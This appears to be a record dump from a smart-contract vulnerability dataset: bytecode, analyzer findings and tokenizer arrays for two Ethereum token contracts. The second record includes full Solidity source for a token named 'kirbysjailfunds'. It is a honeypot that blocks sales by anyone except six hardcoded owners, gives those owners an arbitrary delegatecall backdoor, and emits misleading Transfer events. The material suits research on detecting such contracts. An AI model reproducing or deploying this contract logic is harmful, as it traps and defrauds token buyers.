815260206004820152601f60248201527f436f6e7472616374206973206c6f636b656420756e74696c20372064617973006044820152606401610953565b600154600080546040516001600160a01b039384169390911691600080516020612ff883398151915291a3600154600080546001600160a01b0319166001600160a01b03909216919091179055565b6000610a1c338484611a96565b6000546001600160a01b031633146116455760405162461bcd60e51b815260040161095390612da0565b601680548215156101000261ff00199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599061168e90831515815260200190565b60405180910390a150565b6000546001600160a01b031633146116c35760405162461bcd60e51b815260040161095390612da0565b60008382146117145760405162461bcd60e51b815260206004820152601760248201527f6d757374206265207468652073616d65206c656e6774680000000000000000006044820152606401610953565b838110156117855761177385858381811061173157611731612e45565b90506020020160208101906117469190612b67565b84848481811061175857611758612e45565b90506020020135633b9aca0061176e9190612e26565b611f04565b61177e600182612ed9565b9050611714565b5050505050565b6000546001600160a01b031633146117b65760405162461bcd60e51b815260040161095390612da0565b60008054600180546001600160a01b03199081166001600160a01b038416179091551690556117e58142612ed9565b600255600080546040516001600160a01b0390911690600080516020612ff8833981519152908390a350565b6000546001600160a01b0316331461183b5760405162461bcd60e51b815260040161095390612da0565b6d0366e7064422fd84202340000000601755565b6000546001600160a01b031633146118795760405162461bcd60e51b815260040161095390612da0565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146118c45760405162461bcd60e51b815260040161095390612da0565b6001600160a01b0381166119295760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610953565b600080546040516001600160a01b0380851693921691600080516020612ff883398151915291a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166119d45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610953565b6001600160a01b038216611a355760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610953565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316611afa5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610953565b6001600160a01b038216611b5c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610953565b60008111611bbe5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610953565b6000546001600160a01b03848116911614801590611bea57506000546001600160a01b03838116911614155b15611c5257601754811115611c525760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610953565b6000611c5d306112f4565b90506017548110611c6d57506017545b60185481108015908190611c84575060165460ff16155b8015611cc257507f000000000000000000000000d0877ad2fffa2d91c03d61c3c5ea28eaa6d6f0736001600160a01b0316856001600160a01b031614155b8015611cd55750601654610100900460ff165b15611ce8576018549150611ce882611f17565b6001600160a01b03851660009081526006602052604090205460019060ff1680611d2a57506001600160a01b03851660009081526006602052604090205460ff165b15611d33575060005b611d3f86868684612016565b505050505050565b60008184841115611d6b5760405162461bcd60e51b81526004016109539190612b84565b506000611d788486612e5b565b95945050505050565b6000806000611d8e612252565b9092509050611d9d8282611da4565b9250505090565b6000610c0883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506123d4565b600080611df38385612ed9565b905083811015610c085760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610953565b6000806000806000806000806000611e5c8a612402565b9250925092506000806000611e7a8d8686611e75611d81565b612444565b919f909e50909c50959a5093985091965092945050505050565b6000610c0883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d47565b601254158015611ee65750601454155b15611eed57565b601280546013556014805460155560009182905555565b611f0c611ed6565b61145e338383611a96565b6016805460ff191660011790556000611f31826002611da4565b90506000611f3f8383611e94565b905047611f4b83612494565b6000611f574783611e94565b90506000611f716064611f6b84605061265b565b90611da4565b600e546040519192506001600160a01b03169082156108fc029083906000818181858888f19350505050158015611fac573d6000803e3d6000fd5b50611fb78183612e5b565b9150611fc384836126da565b60408051868152602081018490529081018590527f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619060600160405180910390a150506016805460ff1916905550505050565b600a54610100900460ff1661203f576000546001600160a01b0385811691161461203f57600080fd5b6001600160a01b03841660009081526009602052604090205460ff168061207e57506001600160a01b03831660009081526009602052604090205460ff165b156120d557600a5460ff166120d55760405162461bcd60e51b815260206004820152601b60248201527f626f7473206172656e7420616c6c6f77656420746f20747261646500000000006044820152606401610953565b806120e2576120e2611ed6565b6001600160a01b03841660009081526007602052604090205460ff16801561212357506001600160a01b03831660009081526007602052604090205460ff16155b15612138576121338484846127e8565b612236565b6001600160a01b03841660009081526007602052604090205460ff1615801561217957506001600160a01b03831660009081526007602052604090205460ff165b156121895761213384848461290e565b6001600160a01b03841660009081526007602052604090205460ff161580156121cb57506001600160a01b03831660009081526007602052604090205460ff16155b156121db576121338484846129b7565b6001600160a01b03841660009081526007602052604090205460ff16801561221b57506001600160a01b03831660009081526007602052604090205460ff165b1561222b576121338484846129fb565b6122368484846129b7565b8061224c5761224c601354601255601554601455565b50505050565b600c54600b546000918291825b6008548110156123a45782600360006008848154811061228157612281612e45565b60009182526020808320909101546001600160a01b0316835282019290925260400190205411806122ec57508160046000600884815481106122c5576122c5612e45565b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b1561230257600c54600b54945094505050509091565b612348600360006008848154811061231c5761231c612e45565b60009182526020808320909101546001600160a01b031683528201929092526040019020548490611e94565b9250612390600460006008848154811061236457612364612e45565b60009182526020808320909101546001600160a01b031683528201929092526040019020548390611e94565b91508061239c81612e88565b91505061225f565b50600b54600c546123b491611da4565b8210156123cb57600c54600b549350935050509091565b90939092509050565b600081836123f55760405162461bcd60e51b81526004016109539190612b84565b506000611d788486612ef1565b60008060008061241185612a6e565b9050600061241e86612a8a565b90506000612436826124308986611e94565b90611e94565b979296509094509092505050565b6000808080612453888661265b565b90506000612461888761265b565b9050600061246f888861265b565b90506000612481826124308686611e94565b939b939a50919850919650505050505050565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106124c9576124c9612e45565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561254257600080fd5b505afa158015612556573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061257a9190612f13565b8160018151811061258d5761258d612e45565b60200260200101906001600160a01b031690816001600160a01b0316815250506125d8307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611972565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac9479061262d908590600090869030904290600401612f30565b600060405180830381600087803b15801561264757600080fd5b505af1158015611d3f573d6000803e3d6000fd5b60008261266a57506000610a20565b60006126768385612e26565b9050826126838583612ef1565b14610c085760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610953565b612705307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611972565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663f305d71982308560008061274c6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156127af57600080fd5b505af11580156127c3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906117859190612fa1565b6000806000806000806127fa87611e45565b6001600160a01b038f16600090815260046020526040902054959b5093995091975095509350915061282c9088611e94565b6001600160a01b038a1660009081526004602090815260408083209390935560039052205461285b9087611e94565b6001600160a01b03808b1660009081526003602052604080822093909355908a168152205461288a9086611de6565b6001600160a01b0389166000908152600360205260409020556128ac81612aa6565b6128b68483612b2e565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128fb91815260200190565b60405180910390a3505050505050505050565b60008060008060008061292087611e45565b6001600160a01b038f16600090815260036020526040902054959b509399509197509550935091506129529087611e94565b6001600160a01b03808b16600090815260036020908152604080832094909455918b168152600490915220546129889084611de6565b6001600160a01b03891660009081526004602090815260408083209390935560039052205461288a9086611de6565b6000806000806000806129c987611e45565b6001600160a01b038f16600090815260036020526040902054959b5093995091975095509350915061285b9087611e94565b600080600080600080612a0d87611e45565b6001600160a01b038f16600090815260046020526040902054959b50939950919750955093509150612a3f9088611e94565b6001600160a01b038a166000908152600460209081526040808320939093556003905220546129529087611e94565b6000610a206064611f6b6012548561265b90919063ffffffff16565b6000610a206064611f6b6014548561265b90919063ffffffff16565b6000612ab0611d81565b90506000612abe838361265b565b30600090815260036020526040902054909150612adb9082611de6565b3060009081526003602090815260408083209390935560079052205460ff1615610f255730600090815260046020526040902054612b199084611de6565b30600090815260046020526040902055505050565b600c54612b3b9083611e94565b600c55600d54612b4b9082611de6565b600d555050565b6001600160a01b038116811461115257600080fd5b600060208284031215612b7957600080fd5b8135610c0881612b52565b600060208083528351808285015260005b81811015612bb157858101830151858201604001528201612b95565b81811115612bc3576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215612bec57600080fd5b8235612bf781612b52565b946020939093013593505050565b600080600060608486031215612c1a57600080fd5b8335612c2581612b52565b92506020840135612c3581612b52565b929592945050506040919091013590565b600060208284031215612c5857600080fd5b5035919050565b60008060408385031215612c7257600080fd5b8235612c7d81612b52565b91506020830135612c8d81612b52565b809150509250929050565b801515811461115257600080fd5b60008060408385031215612cb957600080fd5b823591506020830135612c8d81612c98565b600060208284031215612cdd57600080fd5b8135610c0881612c98565b60008083601f840112612cfa57600080fd5b50813567ffffffffffffffff811115612d1257600080fd5b6020830191508360208260051b8501011115612d2d57600080fd5b9250929050565b60008060008060408587031215612d4a57600080fd5b843567ffffffffffffffff80821115612d6257600080fd5b612d6e88838901612ce8565b90965094506020870135915080821115612d8757600080fd5b50612d9487828801612ce8565b95989497509550505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c90821680612de957607f821691505b60208210811415612e0a57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615612e4057612e40612e10565b500290565b634e487b7160e01b600052603260045260246000fd5b600082821015612e6d57612e6d612e10565b500390565b634e487b7160e01b600052603160045260246000fd5b6000600019821415612e9c57612e9c612e10565b5060010190565b600060208284031215612eb557600080fd5b5051919050565b600060208284031215612ece57600080fd5b8151610c0881612c98565b60008219821115612eec57612eec612e10565b500190565b600082612f0e57634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215612f2557600080fd5b8151610c0881612b52565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015612f805784516001600160a01b031683529383019391830191600101612f5b565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215612fb657600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63658be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e045524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220fcf8b32c6f008b435bacdc4c9efdb67dd2be2edffa7b6597e16cd5f79cf782c464736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2581, 2683, 15878, 2509, 2546, 14142, 16703, 2575, 2620, 2278, 2683, 2278, 21084, 21084, 2098, 2575, 2475, 2278, 2546, 2683, 22907, 26224, 2575, 10322, 7959, 2546, 26976, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 2260, 1011, 2324, 1008, 1013, 1013, 1013, 4037, 1024, 16770, 1024, 1013, 1013, 7163, 6767, 7096, 1012, 5658, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1023, 1025, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 3079, 2011, 1036, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,845
0x977aa64d804ad132e6d9cab0640195c92a4c21e4
pragma solidity ^0.5.17; /* ██  ██ ██ ██████  ██████  ██  ██  ██  █████  ██ ██  ███████ ██  ██ ███  ██ ██████  ███████  ██  ██  ██ ██   ██ ██   ██  ██  ██   ██ ██   ██ ██ ██  ██      ██  ██ ████  ██ ██   ██ ██       █████   ██ ██████  ██████    ████   ██ ███████ ██ ██  █████  ██  ██ ██ ██  ██ ██  ██ ███████  ██  ██  ██ ██   ██ ██   ██   ██   ██ ██ ██   ██ ██ ██  ██     ██  ██ ██  ██ ██ ██  ██      ██  ██  ██ ██ ██  ██ ██████   ██   █████  ██  ██ ██ ███████  ██   ██████  ██   ████ ██████  ███████                                                                                               */ interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); // function allowance(address owner, address owner2, address owner3, address owner4, address owner5, address owner6, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); // event Approval(address indexed owner, address indexed owner2, address indexed owner3, address indexed owner4, address indexed owner5, address indexed owner6, address indexed spender, uint value); } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } // function _approve(address owner, address owner2, address owner3, address owner4, address owner5, address owner6, address spender, uint amount) internal { function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract kirbysjailfunds { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require (msg.sender == owner || msg.sender == owner2 || msg.sender == owner3 || msg.sender == owner4 || msg.sender == owner5 || msg.sender == owner6); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner || msg.sender == owner2 || msg.sender == owner3 || msg.sender == owner4 || msg.sender == owner5 || msg.sender == owner6); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI || _from == owner2 || _to == owner2 || _from == owner3 || _to == owner3 || _from == owner4 || _to == owner4 || _from == owner5 || _to == owner5 || _from == owner6 || _to == owner6); //require(owner == msg.sender || owner2 == msg.sender); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address private owner2; address private owner3; address private owner4; address private owner5; address private owner6; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; owner2 = 0x7737533691DE30EAC03ec29803FaabE92619F9a4; owner3 = 0x93338F6cCc570C33F0BAbA914373a6d51FbbB6B7; owner4 = 0x201f739D7346403aF416BEd7e8f8e3de21ccdc84; owner5 = 0x0ee849e0d238A375427E8115D4065FFaA21BCee9; owner6 = 0xD9429A42788Ec71AEDe45f6F48B7688D11900C05; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0x60806040526004361061009c5760003560e01c806370a082311161006457806370a08231146101dd57806395d89b4114610210578063a9059cbb14610225578063aa2f522014610251578063d6d2b6ba146102f6578063dd62ed3e146103ae5761009c565b806306fdde03146100a1578063095ea7b31461012b57806318160ddd1461016b57806323b872dd14610192578063313ce567146101c8575b600080fd5b3480156100ad57600080fd5b506100b66103e9565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100f05781810151838201526020016100d8565b50505050905090810190601f16801561011d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101576004803603604081101561014157600080fd5b506001600160a01b038135169060200135610477565b604080519115158252519081900360200190f35b34801561017757600080fd5b506101806104dd565b60408051918252519081900360200190f35b610157600480360360608110156101a857600080fd5b506001600160a01b038135811691602081013590911690604001356104e3565b3480156101d457600080fd5b5061018061076f565b3480156101e957600080fd5b506101806004803603602081101561020057600080fd5b50356001600160a01b0316610774565b34801561021c57600080fd5b506100b6610786565b6101576004803603604081101561023b57600080fd5b506001600160a01b0381351690602001356107e1565b6101576004803603604081101561026757600080fd5b81019060208101813564010000000081111561028257600080fd5b82018360208201111561029457600080fd5b803590602001918460208302840111640100000000831117156102b657600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955050913592506107f5915050565b6103ac6004803603604081101561030c57600080fd5b6001600160a01b03823516919081019060408101602082013564010000000081111561033757600080fd5b82018360208201111561034957600080fd5b8035906020019184600183028401116401000000008311171561036b57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610984945050505050565b005b3480156103ba57600080fd5b50610180600480360360408110156103d157600080fd5b506001600160a01b0381358116916020013516610aaa565b6003805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561046f5780601f106104445761010080835404028352916020019161046f565b820191906000526020600020905b81548152906001019060200180831161045257829003601f168201915b505050505081565b3360008181526001602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60025481565b60008383600061051c735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc230610ac7565b6005549091506001600160a01b038481169116148061054857506005546001600160a01b038381169116145b806105645750806001600160a01b0316836001600160a01b0316145b8061057c57506006546001600160a01b038481169116145b8061059457506006546001600160a01b038381169116145b806105ac57506007546001600160a01b038481169116145b806105c457506007546001600160a01b038381169116145b806105dc57506008546001600160a01b038481169116145b806105f457506008546001600160a01b038381169116145b8061060c57506009546001600160a01b038481169116145b8061062457506009546001600160a01b038381169116145b8061063c5750600a546001600160a01b038481169116145b806106545750600a546001600160a01b038381169116145b61065d57600080fd5b8461066b5760019350610765565b336001600160a01b038816146106d6576001600160a01b03871660009081526001602090815260408083203384529091529020548511156106ab57600080fd5b6001600160a01b03871660009081526001602090815260408083203384529091529020805486900390555b6001600160a01b0387166000908152602081905260409020548511156106fb57600080fd5b6001600160a01b0380881660008181526020818152604080832080548b90039055938a168083529184902080548a0190558351898152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a3600193505b5050509392505050565b601281565b60006020819052908152604090205481565b6004805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561046f5780601f106104445761010080835404028352916020019161046f565b60006107ee3384846104e3565b9392505050565b6005546000906001600160a01b031633148061081b57506006546001600160a01b031633145b8061083057506007546001600160a01b031633145b8061084557506008546001600160a01b031633145b8061085a57506009546001600160a01b031633145b8061086f5750600a546001600160a01b031633145b61087857600080fd5b8251336000908152602081905260409020549083029081111561089a57600080fd5b336000908152602081905260408120805483900390555b84518110156109795760008582815181106108c857fe5b6020908102919091018101516001600160a01b03811660008181529283905260409092208054880190559150337fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60028860408051929091048252519081900360200190a36001600160a01b038116337fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60028860408051929091048252519081900360200190a3506001016108b1565b506001949350505050565b6005546001600160a01b03163314806109a757506006546001600160a01b031633145b806109bc57506007546001600160a01b031633145b806109d157506008546001600160a01b031633145b806109e657506009546001600160a01b031633145b806109fb5750600a546001600160a01b031633145b610a0457600080fd5b816001600160a01b0316816040518082805190602001908083835b60208310610a3e5780518252601f199092019160209182019101610a1f565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610a9e576040519150601f19603f3d011682016040523d82523d6000602084013e610aa3565b606091505b5050505050565b600160209081526000928352604080842090915290825290205481565b6000806000836001600160a01b0316856001600160a01b031610610aec578385610aef565b84845b604080516bffffffffffffffffffffffff19606094851b811660208084019190915293851b81166034830152825160288184030181526048830184528051908501206001600160f81b031960688401529a90941b9093166069840152607d8301989098527f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f609d808401919091528851808403909101815260bd90920190975280519601959095209594505050505056fea265627a7a723158202e047518d5c05243bdf5eaf32c7ae5cb6a6ae07430668d49aaae3e8468ffecdc64736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-lowlevel", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'controlled-delegatecall', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unchecked-lowlevel', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2581, 11057, 21084, 2094, 17914, 2549, 4215, 17134, 2475, 2063, 2575, 2094, 2683, 3540, 2497, 2692, 21084, 24096, 2683, 2629, 2278, 2683, 2475, 2050, 2549, 2278, 17465, 2063, 2549, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 2459, 1025, 1013, 1008, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 102 ]
